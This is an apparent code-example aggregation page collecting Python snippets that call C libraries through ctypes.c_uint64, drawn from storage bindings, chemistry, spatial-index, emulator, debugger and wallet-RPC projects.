Example #1
0
 def bonds_order(self, i, j):
     """
     Get the bonds order corresponding to the bond between atoms i and j
     """
     order = chfl_bond_order()
     self.ffi.chfl_topology_bond_order(self, c_uint64(i), c_uint64(j), order)
     return BondOrder(order.value)
Example #2
0
    def write(self, data, offset, fadvise_flags=0):
        """
        Write data to the image. Raises :class:`InvalidArgument` if
        part of the write would fall outside the image.

        :param data: the data to be written
        :type data: str
        :param offset: where to start writing data
        :type offset: int
	:param fadvise_flags: fadvise flags for this write
	:type fadvise_flags: int
        :returns: int - the number of bytes written
        :raises: :class:`IncompleteWriteError`, :class:`LogicError`,
                 :class:`InvalidArgument`, :class:`IOError`
        """
        if not isinstance(data, str):
            raise TypeError('data must be a string')
        length = len(data)
	if fadvise_flags == 0:
	  ret = self.librbd.rbd_write(self.image, c_uint64(offset),
	                              c_size_t(length), c_char_p(data))
	else:
	  ret = self.librbd.rbd_write2(self.image, c_uint64(offset),
	                              c_size_t(length), c_char_p(data), c_int(fadvise_flags))

        if ret == length:
            return ret
        elif ret < 0:
            raise make_ex(ret, "error writing to %s" % (self.name,))
        elif ret < length:
            raise IncompleteWriteError("Wrote only %ld out of %ld bytes" % (ret, length))
        else:
            raise LogicError("logic error: rbd_write(%s) \
returned %d, but %d was the maximum number of bytes it could have \
written." % (self.name, ret, length))
Example #3
0
 def insert(self, table_id, data):
     id = ctypes.c_uint64()
     version = ctypes.c_uint64()
     self.hook()
     so.rc_create(self.client, table_id, data, len(data), ctypes.byref(id),
                  ctypes.byref(version))
     return id.value
Example #4
0
def transferfundsrpccall(amount, address, mixin):
    """function to transfer funds to a single address"""
    atomicamount = c_uint64(int((float(amount)*1e8)-1e6))
    address = str(address)
    mixin = int(mixin)
    mro_fee = c_uint64(int(1e6))
    payload = json.dumps({
        "jsonrpc":"2.0",
        "method":"transfer",
        "params":{
            "destinations":[
            {
                "amount":atomicamount.value,
                "address":address
            }
            ],
            "fee":mro_fee.value,
            "mixin":mixin,
            "unlock_time":0
        }
    })
    print payload

    try:
        headers = {'content-type': 'application/json'}
        resp = requests.get(serverURL, headers=headers, data=payload)
        output = json.loads(resp.text)
        print output

    except:
        print "transfer error :0 !!!"
Example #5
0
        def __init__(self, ctx, user_arg, length=0):
            self._mode = None
            self._ptr_user_arg = st_Null
            self._ptr_cuda_arg = st_NullCudaArgument
            self._arg_length = ct.c_uint64(0)
            self._status = -1

            try:
                buffer = _get_buffer(user_arg)
            except ValueError:
                buffer = None

            if buffer is not None:
                self._ptr_user_arg = st_Buffer_new_mapped_on_cbuffer(buffer)
                self._mode = "buffer"
            elif length and length > 0:
                self._ptr_user_arg = user_arg
                self._arg_length = ct.c_uint64(length)
                self._mode = "raw"
            else:
                raise ValueError("needs either a CBuffer or a pointer + " +
                                 "length as input parameters")

            if self._ptr_user_arg != st_Null and self._mode is not None:
                self._ptr_cuda_arg = st_CudaArgument_new(ctx.pointer)

            if self._ptr_cuda_arg != st_NullCudaArgument:
                if self._mode == 'buffer':
                    self._status = st_CudaArgument_send_buffer(
                        self._ptr_cuda_arg, self._ptr_user_arg)
                elif self._mode == 'raw':
                    self._arg_length = ct.c_uint64(length)
                    self._status = st_CudaArgument_send_memory(
                        self._ptr_cuda_arg, self._ptr_user_arg,
                        self._arg_length)
Example #6
0
File: kk.py Project: pyIPP/pykk
 def getMagneticField(self, time, R, z):
     if not self.status:
         raise Exception('No shotnumber specified.')
     error = ctypes.c_int32(0)
     t = ctypes.c_float(time)
     N = numpy.size(R)
     rin = numpy.zeros(N, dtype=numpy.float32)
     rin[:] = R
     zin = numpy.zeros(N, dtype=numpy.float32)
     zin[:] = z
     lin = ctypes.c_int32(rin.size)
     br = numpy.zeros(rin.size, dtype=numpy.float32)
     bz = numpy.zeros(rin.size, dtype=numpy.float32)
     bt = numpy.zeros(rin.size, dtype=numpy.float32)
     fpf = numpy.zeros(rin.size, dtype=numpy.float32)
     jpol = numpy.zeros(rin.size, dtype=numpy.float32)
     lexper = ctypes.c_uint64(len(self.experiment))
     ldiag = ctypes.c_uint64(len(self.diagnostic))
     __blockstdout__()
     __libkk__.kkrzbrzt_(ctypes.byref(error), ctypes.c_char_p(self.experiment), ctypes.c_char_p(self.diagnostic), 
                         ctypes.byref(self.shotnumber), ctypes.byref(self.edition), ctypes.byref(t), rin.ctypes.data_as(ctypes.c_void_p),
                         zin.ctypes.data_as(ctypes.c_void_p), ctypes.byref(lin) , br.ctypes.data_as(ctypes.c_void_p), 
                         bz.ctypes.data_as(ctypes.c_void_p) , bt.ctypes.data_as(ctypes.c_void_p), fpf.ctypes.data_as(ctypes.c_void_p), 
                         jpol.ctypes.data_as(ctypes.c_void_p), lexper , ldiag)
     __releasestdout__()
     return magneticField(t.value, rin, zin, bt, br, bz, fpf, jpol)
Example #7
0
File: dd.py Project: tardini/pyddww
 def getObjectValue(self, name, field):
     """ Returns the value for the specified field for the given object name. """
     if not self.status:
         raise Exception('Shotfile not open')
     error = ctypes.c_int32(0)
     data = __fields__[field]()
     try:
         value = ctypes.c_char_p(data)
     except TypeError:
         try:
             value = data.ctypes.data_as(ctypes.c_void_p)
         except AttributeError:
             del data
             val = ctypes.c_int32(0)
             value = ctypes.byref(val)
     try:
         _name = ctypes.c_char_p(name)
     except TypeError:
         _name = ctypes.c_char_p(name.encode())
     try:
         _field = ctypes.c_char_p(field)
     except TypeError:
         _field = ctypes.c_char_p(field.encode())
     lname = ctypes.c_uint64(len(name))
     lfield = ctypes.c_uint64(len(field))
     result = __libddww__.ddobjval_(ctypes.byref(error),ctypes.byref(self.diaref),_name,_field, value,
                                    lname,lfield)
     getError(error)
     try:
         return data
     except Exception, Error:
         return numpy.int32(val.value)
Example #8
0
    def count(self, coordinates):
        """Return number of objects that intersect the given coordinates.
        
        :param coordinates: sequence or array
            This may be an object that satisfies the numpy array 
            protocol, providing the index's dimension * 2 coordinate 
            pairs representing the `mink` and `maxk` coordinates in 
            each dimension defining the bounds of the query window.
        
        The following example queries the index for any objects any objects 
        that were stored in the index intersect the bounds given in the coordinates::

            >>> from rtree import index
            >>> idx = index.Index()
            >>> idx.insert(4321, (34.3776829412, 26.7375853734, 49.3776829412, 41.7375853734), obj=42)

            >>> idx.count((0, 0, 60, 60))
            1

        """        
        p_mins, p_maxs = self.get_coordinate_pointers(coordinates)
        
        p_num_results = ctypes.c_uint64(0)
        
        it = ctypes.pointer(ctypes.c_uint64())
        
        core.rt.Index_Intersects_count(    self.handle, 
                                        p_mins, 
                                        p_maxs, 
                                        self.properties.dimension, 
                                        ctypes.byref(p_num_results))

        
        return p_num_results.value
Example #9
0
def _callRead(state, offset, length):
    global hread
    obuf = ctypes.create_string_buffer(length)
    logger.debug('state:%s offset:%s length:%s' % (state, offset, length))
    hread(state, ctypes.c_uint64(offset), ctypes.c_uint64(length), obuf)
    obuf = bytes(obuf)
    return obuf
def do_fadvise64(fd, offset, length):
    global _posix_fadvise
    if _posix_fadvise is None:
        _posix_fadvise = load_libc_function('posix_fadvise64')
    # 4 means "POSIX_FADV_DONTNEED"
    _posix_fadvise(fd, ctypes.c_uint64(offset),
                   ctypes.c_uint64(length), 4)
Example #11
0
    def get_instructions(self, source, pc=0):
        """Obtain multiple instructions from an input source.

        This is like get_instruction() except it is a generator for all
        instructions within the source. It starts at the beginning of the
        source and reads instructions until no more can be read.

        This generator returns 3-tuple of:

          long address of instruction.
          long size of instruction, in bytes.
          str representation of instruction.
        """
        source_bytes = c_char_p(source)
        out_str = cast((c_byte * 255)(), c_char_p)

        # This could probably be written cleaner. But, it does work.
        buf = cast(source_bytes, POINTER(c_ubyte * len(source))).contents
        offset = 0
        address = pc
        end_address = pc + len(source)
        while address < end_address:
            b = cast(addressof(buf) + offset, POINTER(c_ubyte))
            result = lib.LLVMDisasmInstruction(self, b,
                    c_uint64(len(source) - offset), c_uint64(address),
                    out_str, 255)

            if result == 0:
                break

            yield (address, result, out_str.value)

            address += result
            offset += result
Example #12
0
    def read(self, offset, length, fadvise_flags=0):
        """
        Read data from the image. Raises :class:`InvalidArgument` if
        part of the range specified is outside the image.

        :param offset: the offset to start reading at
        :type offset: int
        :param length: how many bytes to read
        :type length: int
        :param fadvise_flags: fadvise flags for this read
        :type fadvise_flags: int
        :returns: str - the data read
        :raises: :class:`InvalidArgument`, :class:`IOError`
        """
        ret_buf = create_string_buffer(length)
        if fadvise_flags == 0:
            ret = self.librbd.rbd_read(self.image, c_uint64(offset),
                                       c_size_t(length), byref(ret_buf))
        else:
            ret = self.librbd.rbd_read2(self.image, c_uint64(offset),
                                        c_size_t(length), byref(ret_buf),
                                        c_int(fadvise_flags))
        if ret < 0:
            raise make_ex(ret, 'error reading %s %ld~%ld' % (self.image, offset, length))

        return ctypes.string_at(ret_buf, ret)
Example #13
0
 def changesCount(self, minimum, maximum):
     cstruct = CounterStruct()
     err = _lib.couchstore_changes_count(self,
                                         ctypes.c_uint64(minimum),
                                         ctypes.c_uint64(maximum),
                                         ctypes.pointer(cstruct))
     _check(err)
     return cstruct.count
Example #14
0
    def remove_bond(self, i, j):
        """
        Remove any existing bond between the atoms at indexes ``i`` and ``j``
        in this :py:class:`Frame`'s topology.

        This function does nothing if there is no bond between ``i`` and ``j``.
        """
        self.ffi.chfl_frame_remove_bond(self, c_uint64(i), c_uint64(j))
Example #15
0
def drop_buffer_cache(fd, offset, length):
    ret = _posix_fadvise(fd,
                         ctypes.c_uint64(offset),
                         ctypes.c_uint64(length),
                         POSIX_FADV_DONTNEED)
    if ret != OK:
        raise Exception('posix_fadvise64(%s, %s, %s, 4) -> %s' %
                        (fd, offset, length, ret))
Example #16
0
 def PutInt64(self, rowkey, cf, qu, value):
     err = c_char_p()
     result = lib.tera_table_putint64(
         self.table, rowkey, c_uint64(len(rowkey)), cf,
         qu, c_uint64(len(qu)), value, byref(err)
     )
     if not result:
         raise TeraSdkException("put record failed:" + err.value)
Example #17
0
    def diff_iterate(self, offset, length, from_snapshot, iterate_cb,
                     include_parent = True, whole_object = False):
        """
        Iterate over the changed extents of an image.

        This will call iterate_cb with three arguments:

        (offset, length, exists)

        where the changed extent starts at offset bytes, continues for
        length bytes, and is full of data (if exists is True) or zeroes
        (if exists is False).

        If from_snapshot is None, it is interpreted as the beginning
        of time and this generates all allocated extents.

        The end version is whatever is currently selected (via set_snap)
        for the image.

        Raises :class:`InvalidArgument` if from_snapshot is after
        the currently set snapshot.

        Raises :class:`ImageNotFound` if from_snapshot is not the name
        of a snapshot of the image.

        :param offset: start offset in bytes
        :type offset: int
        :param length: size of region to report on, in bytes
        :type length: int
        :param from_snapshot: starting snapshot name, or None
        :type from_snapshot: str or None
        :param iterate_cb: function to call for each extent
        :type iterate_cb: function acception arguments for offset,
                           length, and exists
        :param include_parent: True if full history diff should include parent
        :type include_parent: bool
        :param whole_object: True if diff extents should cover whole object
        :type whole_object: bool
        :raises: :class:`InvalidArgument`, :class:`IOError`,
                 :class:`ImageNotFound`
        """
        if from_snapshot is not None and not isinstance(from_snapshot, str):
            raise TypeError('client must be a string')

        RBD_DIFF_CB = CFUNCTYPE(c_int, c_uint64, c_size_t, c_int, c_void_p)
        cb_holder = DiffIterateCB(iterate_cb)
        cb = RBD_DIFF_CB(cb_holder.callback)
        ret = self.librbd.rbd_diff_iterate2(self.image,
                                            c_char_p(from_snapshot),
                                            c_uint64(offset),
                                            c_uint64(length),
                                            c_uint8(include_parent),
                                            c_uint8(whole_object),
                                            cb,
                                            c_void_p(None))
        if ret < 0:
            msg = 'error generating diff from snapshot %s' % from_snapshot
            raise make_ex(ret, msg)
Example #18
0
    def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0):
        _h2 = uc_hook_h()

        # save callback & user_data
        self._callback_count += 1
        self._callbacks[self._callback_count] = (callback, user_data)
        cb = None

        if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE):
            begin = ctypes.c_uint64(arg1)
            end = ctypes.c_uint64(arg2)
            # set callback with wrapper, so it can be called
            # with this object as param
            cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb, ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end
            )
        elif (
            htype & UC_HOOK_MEM_READ_UNMAPPED
            or htype & UC_HOOK_MEM_WRITE_UNMAPPED
            or htype & UC_HOOK_MEM_FETCH_UNMAPPED
            or htype & UC_HOOK_MEM_READ_PROT
            or htype & UC_HOOK_MEM_WRITE_PROT
            or htype & UC_HOOK_MEM_FETCH_PROT
        ):
            cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb, ctypes.cast(self._callback_count, ctypes.c_void_p)
            )
        elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE):
            cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb, ctypes.cast(self._callback_count, ctypes.c_void_p)
            )
        elif htype == UC_HOOK_INSN:
            insn = ctypes.c_int(arg1)
            if arg1 == x86_const.UC_X86_INS_IN:  # IN instruction
                cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
            if arg1 == x86_const.UC_X86_INS_OUT:  # OUT instruction
                cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
            if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER):  # SYSCALL/SYSENTER instruction
                cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn
            )
        elif htype == UC_HOOK_INTR:
            cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
            status = _uc.uc_hook_add(
                self._uch, ctypes.byref(_h2), htype, cb, ctypes.cast(self._callback_count, ctypes.c_void_p)
            )

        # save the ctype function so gc will leave it alone.
        self._ctype_cbs[self._callback_count] = cb

        if status != UC_ERR_OK:
            raise UcError(status)

        return _h2.value
Example #19
0
 def distance(self, i, j):
     """
     Get the distance between the atoms at indexes ``i`` and ``j`` in this
     :py:class:`Frame`, accounting for periodic boundary conditions. The
     result is expressed in angstroms.
     """
     distance = c_double()
     self.ffi.chfl_frame_distance(self, c_uint64(i), c_uint64(j), distance)
     return distance.value
Example #20
0
 def angle(self, i, j, k):
     """
     Get the angle formed by the atoms at indexes ``i``, ``j`` and ``k`` in
     this :py:class:`Frame`, accounting for periodic boundary conditions.
     The result is expressed in radians.
     """
     angle = c_double()
     self.ffi.chfl_frame_angle(self, c_uint64(i), c_uint64(j), c_uint64(k), angle)
     return angle.value
Example #21
0
    def stat(self, key):
        """Stat object, returns, size/timestamp"""
        psize = c_uint64()
        pmtime = c_uint64()

        ret = self.librados.rados_stat(self.pool, c_char_p(key), pointer(psize), pointer(pmtime))
        if ret < 0:
            raise RadosError("Failed to stat %r" % key)
        return psize.value, time.localtime(pmtime.value)
Example #22
0
    def copy(self, dest_ioctx, dest_name, features=0, order=None, stripe_unit=0,
             stripe_count=0):
        """
        Copy the image to another location.

        :param dest_ioctx: determines which pool to copy into
        :type dest_ioctx: :class:`rados.Ioctx`
        :param dest_name: the name of the copy
        :type dest_name: str
        :param features: bitmask of features to enable; if set, must include layering
        :type features: int
        :param order: the image is split into (2**order) byte objects
        :type order: int
        :param stripe_unit: stripe unit in bytes (default 0 for object size)
        :type stripe_unit: int
        :param stripe_count: objects to stripe over before looping
        :type stripe_count: int
        :raises: :class:`TypeError`
        :raises: :class:`InvalidArgument`
        :raises: :class:`ImageExists`
        :raises: :class:`FunctionNotSupported`
        :raises: :class:`ArgumentOutOfRange`
        """
        if order is None:
            order = 0
        if not isinstance(dest_name, str_type):
            raise TypeError('dest_name must be a string')
        has_copy3 = hasattr(self.librbd, 'rbd_copy3')
        if (stripe_unit != 0 or stripe_count != 0) and not has_copy3:
            raise FunctionNotSupported('installed version of librbd does'
                                       ' not support stripe unit or count')
        if has_copy3:
            opts = c_void_p()
            self.librbd.rbd_image_options_create(byref(opts))
            self.librbd.rbd_image_options_set_uint64(opts,
                                                     RBD_IMAGE_OPTION_FEATURES,
                                                     c_uint64(features))
            self.librbd.rbd_image_options_set_uint64(opts,
                                                     RBD_IMAGE_OPTION_ORDER,
                                                     c_uint64(order))
            self.librbd.rbd_image_options_set_uint64(opts,
                                                     RBD_IMAGE_OPTION_STRIPE_UNIT,
                                                     c_uint64(stripe_unit))
            self.librbd.rbd_image_options_set_uint64(opts,
                                                     RBD_IMAGE_OPTION_STRIPE_COUNT,
                                                     c_uint64(stripe_count))
            ret = self.librbd.rbd_copy3(self.image, dest_ioctx.io,
                                        cstr(dest_name), opts)
            self.librbd.rbd_image_options_get_uint64(opts,
                                                     RBD_IMAGE_OPTION_ORDER,
                                                     byref(c_uint64(order)))
            self.librbd.rbd_image_options_destroy(opts)
        else:
            ret = self.librbd.rbd_copy(self.image, dest_ioctx.io, cstr(dest_name))
        if ret < 0:
            raise make_ex(ret, 'error copying image %s to %s' % (self.name, dest_name))
Example #23
0
 def _read_block(self, ctypes=ctypes, libmpq=libmpq):
     block_size = ctypes.c_uint64()
     libmpq.libmpq__block_size_unpacked(self._file._archive._mpq,
         self._file.number, self._cur_block, ctypes.byref(block_size))
     block_data = ctypes.create_string_buffer(block_size.value)
     libmpq.libmpq__block_read(self._file._archive._mpq,
         self._file.number, self._cur_block,
         block_data, ctypes.c_uint64(len(block_data)), None)
     self._buf.append(block_data.raw)
     self._cur_block += 1
 def _toctypes(delay,width,period,burst,cycle,repeat,*args):
     delay  = None if delay  is None else _c.c_uint64(int(delay ))
     width  = None if width  is None else _c.c_uint32(int(width ))
     period = None if period is None else _c.c_uint32(int(period))
     burst  = None if burst  is None else _c.c_uint64(int(burst ))
     cycle  = None if cycle  is None else _c.c_uint64(int(cycle ))
     repeat = None if repeat is None else _c.c_uint32(int(repeat))
     if len(args)>0:
       count= None if args[0] is None else _c.c_uint32(int(args[0]))
       return (delay,width,period,burst,cycle,repeat,count)
     return (delay,width,period,burst,cycle,repeat)
Example #25
0
 def dihedral(self, i, j, k, m):
     """
     Get the dihedral angle formed by the atoms at indexes ``i``, ``j``,
     ``k`` and ``m`` in this :py:class:`Frame`, accounting for periodic
     boundary conditions. The result is expressed in radians.
     """
     dihedral = c_double()
     self.ffi.chfl_frame_dihedral(
         self, c_uint64(i), c_uint64(j), c_uint64(k), c_uint64(m), dihedral
     )
     return dihedral.value
Example #26
0
File: rbd.py Project: Abioy/ceph
 def discard(self, offset, length):
     """
     Trim the range from the image. It will be logically filled
     with zeroes.
     """
     ret = self.librbd.rbd_discard(self.image,
                                   c_uint64(offset),
                                   c_uint64(length))
     if ret < 0:
         msg = 'error discarding region %d~%d' % (offset, length)
         raise make_ex(ret, msg)
Example #27
0
 def add_bond(self, i, j, order=None):
     """
     Add a bond between the atoms at indexes ``i`` and ``j`` in this
     :py:class:`Frame`'s topology, optionally setting the bond ``order``.
     """
     if order is None:
         self.ffi.chfl_frame_add_bond(self, c_uint64(i), c_uint64(j))
     else:
         self.ffi.chfl_frame_bond_with_order(
             self, c_uint64(i), c_uint64(j), chfl_bond_order(order)
         )
Example #28
0
File: rados.py Project: tcloud/ceph
    def stat(self, key):
        self.require_ioctx_open()
        """Stat object, returns, size/timestamp"""
        psize = c_uint64()
        pmtime = c_uint64()

        ret = self.librados.rados_stat(self.io, c_char_p(key), pointer(psize),
                                        pointer(pmtime))
        if ret < 0:
            raise make_ex(ret, "Failed to stat %r" % key)
        return psize.value, time.localtime(pmtime.value)
Example #29
0
 def GetInt64(self, rowkey, cf, qu, snapshot):
     err = c_char_p()
     value = c_int64()
     result = lib.tera_table_getint64(
         self.table, rowkey, c_uint64(len(rowkey)), cf,
         qu, c_uint64(len(qu)), byref(value), byref(err),
         c_uint64(snapshot)
     )
     if not result:
         raise TeraSdkException("get record failed:" + err.value)
     return long(value.value)
Example #30
0
def transferFundsRPCCall(amount, address, mixin, paymentid):
    """function to transfer funds to a single address"""
    atomicamount = c_uint64(int((float(amount)*1e12)))
    address = str(address)
    mixin = int(mixin)
    paymentid = str(paymentid)
    mro_fee = c_uint64(int(1e10))
    if len(paymentid) > 1:
        payload = json.dumps({
            "jsonrpc":"2.0",
            "method":"transfer",
            "params":{
                "destinations":[
                {
                    "amount":atomicamount.value,
                    "address":address
                }
                ],
                "fee":mro_fee.value,
                "mixin":mixin,
                "unlock_time":0,
                "payment_id":paymentid
            }
        })
    else:
        payload = json.dumps({
            "jsonrpc":"2.0",
            "method":"transfer",
            "params":{
                "destinations":[
                {
                    "amount":atomicamount.value,
                    "address":address
                }
                ],
                "fee":mro_fee.value,
                "mixin":mixin,
                "unlock_time":0
            }
        })
    print payload

    try:
        headers = {'content-type': 'application/json'}
        resp = requests.get(serverURL, headers=headers, data=payload)
        output = json.loads(resp.text)
        print output
        txid = output[u'result'][u'tx_hash']
        return True, txid

    except:
        error = output[u'error'][u'message']
        return False, error
Example #31
0
    def create(self,
               ioctx,
               name,
               size,
               order=None,
               old_format=True,
               features=0,
               stripe_unit=0,
               stripe_count=0):
        """
        Create an rbd image.

        :param ioctx: the context in which to create the image
        :type ioctx: :class:`rados.Ioctx`
        :param name: what the image is called
        :type name: str
        :param size: how big the image is in bytes
        :type size: int
        :param order: the image is split into (2**order) byte objects
        :type order: int
        :param old_format: whether to create an old-style image that
                           is accessible by old clients, but can't
                           use more advanced features like layering.
        :type old_format: bool
        :param features: bitmask of features to enable
        :type features: int
        :param stripe_unit: stripe unit in bytes (default 0 for object size)
        :type stripe_unit: int
        :param stripe_count: objects to stripe over before looping
        :type stripe_count: int
        :raises: :class:`ImageExists`
        :raises: :class:`TypeError`
        :raises: :class:`InvalidArgument`
        :raises: :class:`FunctionNotSupported`
        """
        if order is None:
            order = 0
        if not isinstance(name, str):
            raise TypeError('name must be a string')
        if old_format:
            if features != 0 or stripe_unit != 0 or stripe_count != 0:
                raise InvalidArgument('format 1 images do not support feature'
                                      ' masks or non-default striping')
            ret = self.librbd.rbd_create(ioctx.io, c_char_p(name),
                                         c_uint64(size), byref(c_int(order)))
        else:
            if not hasattr(self.librbd, 'rbd_create2'):
                raise FunctionNotSupported('installed version of librbd does'
                                           ' not support format 2 images')
            has_create3 = hasattr(self.librbd, 'rbd_create3')
            if (stripe_unit != 0 or stripe_count != 0) and not has_create3:
                raise FunctionNotSupported('installed version of librbd does'
                                           ' not support stripe unit or count')
            if has_create3:
                ret = self.librbd.rbd_create3(ioctx.io, c_char_p(name),
                                              c_uint64(size),
                                              c_uint64(features),
                                              byref(c_int(order)),
                                              c_uint64(stripe_unit),
                                              c_uint64(stripe_count))
            else:
                ret = self.librbd.rbd_create2(ioctx.io, c_char_p(name),
                                              c_uint64(size),
                                              c_uint64(features),
                                              byref(c_int(order)))
        if ret < 0:
            raise make_ex(ret, 'error creating image')
Example #32
0
File: rbd.py Project: vieop/ceph
 def features(self):
     features = c_uint64()
     ret = self.librbd.rbd_get_features(self.image, byref(features))
     if (ret != 0):
         raise make_ex(ret, 'error getting features for image' % (self.name))
     return features.value
Example #33
0
              ("pti_messages_sent", ctypes.c_int32),
              ("pti_messages_received", ctypes.c_int32),
              ("pti_syscalls_mach", ctypes.c_int32),
              ("pti_syscalls_unix", ctypes.c_int32),
              ("pti_csw", ctypes.c_int32),
              ("pti_threadnum", ctypes.c_int32),
              ("pti_numrunning", ctypes.c_int32),
              ("pti_priority", ctypes.c_int32)]
              
PROC_TASKINFO_SIZE = ctypes.sizeof(proc_taskinfo)

# "Cast" call to calloc
libc.calloc.restype = ctypes.POINTER(proc_taskinfo)
tinfo_ptr = libc.calloc(1, PROC_TASKINFO_SIZE)

nb = libc.proc_pidinfo(PID, PROC_PIDTASKINFO, ctypes.c_uint64(0),  tinfo_ptr, PROC_TASKINFO_SIZE) 

# Check for an error
if nb == 0:
  errornum = get_ctypes_error()
  print errno, ctypes.cast(libc.strerror(errornum), ctypes.c_char_p)

else:
  tinfo = tinfo_ptr.contents
  
  print tinfo.pti_total_user/1000000000.0, tinfo.pti_total_system/1000000000.0
  totalTime = tinfo.pti_total_user/1000000000.0 + tinfo.pti_total_system/1000000000.0
  
  print totalTime

libc.free(tinfo_ptr)
Example #34
0
 def clearAllFlags(self):
     self.flags = ctypes.c_uint64(0)
Example #35
0
 def _monotonic_time_nanos_windows():
     perf_counter = ctypes.c_uint64()
     ctypes.windll.kernel32.QueryPerformanceCounter(
         ctypes.byref(perf_counter))
     return perf_counter.value * NSEC_PER_SEC / perf_frequency.value
Example #36
0
 def get_table_id(self, name):
     handle = ctypes.c_uint64()
     s = so.rc_getTableId(self.client, name, ctypes.byref(handle))
     self.handle_error(s)
     return handle.value
Example #37
0
 def setFlag(self, val):
     self.flags |= (ctypes.c_uint64(1).value << (val - 1))
Example #38
0
def transform_match_coding(symbols,
                           windowsize):
    """
    Transform symbols using match coding.

    :param symbols:
    :param windowsize:
    :warning You have to retrieve all returned streams and free them using the
    provided functions to avoid memory leaks!
    :return: 3 streams (pointers, lengths, raw_values).
    """
    if type(symbols) is not np.ndarray:
        raise TypeError("Input should be a numpy array.")
    if symbols.dtype != np.uint64:
        raise TypeError("Wrong data input type.")

    pointers_ptr = ct.pointer(ct.c_uint64())
    pointers_size = ct.c_size_t()
    lengths_ptr = ct.pointer(ct.c_uint64())
    lengths_size = ct.c_size_t()
    raw_values_ptr = ct.pointer(ct.c_uint64())
    raw_values_size = ct.c_size_t()

    gabac_rc = libgabac.gabac_transformMatchCoding(
        symbols.ctypes.data_as(ct.POINTER(ct.c_uint64)),
        len(symbols),
        windowsize,
        ct.pointer(pointers_ptr),
        ct.pointer(pointers_size),
        ct.pointer(lengths_ptr),
        ct.pointer(lengths_size),
        ct.pointer(raw_values_ptr),
        ct.pointer(raw_values_size)
    )

    if gabac_rc != ReturnCode.GABAC_SUCCESS:
        sys.exit("error: gabac_transformMatchCoding() failed")

    pointers_ptr = ct.cast(
        pointers_ptr,
        ct.POINTER(ct.c_uint64 * pointers_size.value)
    )[0]
    lengths_ptr = ct.cast(
        lengths_ptr,
        ct.POINTER(ct.c_uint64 * lengths_size.value)
    )[0]
    raw_values_ptr = ct.cast(
        raw_values_ptr,
        ct.POINTER(ct.c_uint64 * raw_values_size.value)
    )[0]

    pointers = np.ndarray(
        (len(pointers_ptr),),
        'uint64',
        pointers_ptr,
        order='C'
    )
    lengths = np.ndarray(
        (len(lengths_ptr),),
        'uint64',
        lengths_ptr,
        order='C'
    )
    raw_values = np.ndarray(
        (len(raw_values_ptr),),
        'uint64',
        raw_values_ptr,
        order='C'
    )

    return (
        pointers,
        lengths,
        raw_values
    )
Example #39
0
 def ai_sample_clock(self):
     task = self._tasks['hw_ai']
     result = ctypes.c_uint64()
     mx.DAQmxGetReadTotalSampPerChanAcquired(task, result)
     return result.value
Example #40
0
 def __new__(cls, val):
     val = ctypes.c_uint64(val).value
     return super().__new__(cls, val)
Example #41
0
def context_code():
    try:
        # Compute the closest pc and line number
        symtab = gdb.selected_frame().find_sal().symtab
        linetable = symtab.linetable()

        closest_pc = -1
        closest_line = -1
        for line in linetable:
            real_address = ctypes.c_uint64(line.pc).value
            # print("line is %d, address is %s" % (line.line, hex(real_address)))
            if closest_pc < real_address <= pwndbg.regs.pc:
                closest_line = line.line
                closest_pc = real_address

        if closest_line < 0:
            return []

        # Get the full source code
        filename = symtab.fullname()
        source = get_highlight_source(filename)

        # If it starts on line 1, it's not really using the
        # correct source code.
        if not source or closest_line <= 1:
            return []

        n = int(source_code_lines)

        # Compute the line range
        start = max(closest_line - 1 - n // 2, 0)
        end = min(closest_line - 1 + n // 2 + 1, len(source))
        num_width = len(str(end))

        # split the code
        source = source[start:end]

        # Compute the prefix_sign length
        prefix_sign = pwndbg.config.code_prefix
        prefix_width = len(prefix_sign)

        # Format the output
        formatted_source = []
        for line_number, code in enumerate(source, start=start + 1):
            fmt = ' {prefix_sign:{prefix_width}} {line_number:>{num_width}} {code}'
            if pwndbg.config.highlight_source and line_number == closest_line:
                fmt = C.highlight(fmt)

            line = fmt.format(prefix_sign=C.prefix(prefix_sign)
                              if line_number == closest_line else '',
                              prefix_width=prefix_width,
                              line_number=line_number,
                              num_width=num_width,
                              code=code)
            formatted_source.append(line)

        banner = [pwndbg.ui.banner("Source (code)"), 'In file: %s' % filename]
        banner.extend(formatted_source)
        return banner
    except:
        pass

    if not pwndbg.ida.available():
        return []

    # May be None when decompilation failed or user loaded wrong binary in IDA
    n = int(int(int(source_code_lines) /
                2))  # int twice to make it a real int instead of inthook
    code = pwndbg.ida.decompile_context(pwndbg.regs.pc, n)

    if code:
        return [pwndbg.ui.banner("Hexrays pseudocode")] + code.splitlines()
    else:
        return []
Example #42
0
 def apply_lut(exec_result):
     assert not exec_result.is_lut_applied()
     c_new_bitmap = exec_result.cbuffer
     GlobalBitmap.bitmap_native_so.apply_bucket_lut(
         c_new_bitmap, ctypes.c_uint64(exec_result.bitmap_size))
     exec_result.lut_applied = True
Example #43
0
 def update_with(self, exec_result):
     assert (not self.read_only)
     GlobalBitmap.bitmap_native_so.update_global_bitmap(
         self.c_bitmap, exec_result.cbuffer,
         ctypes.c_uint64(self.bitmap_size))
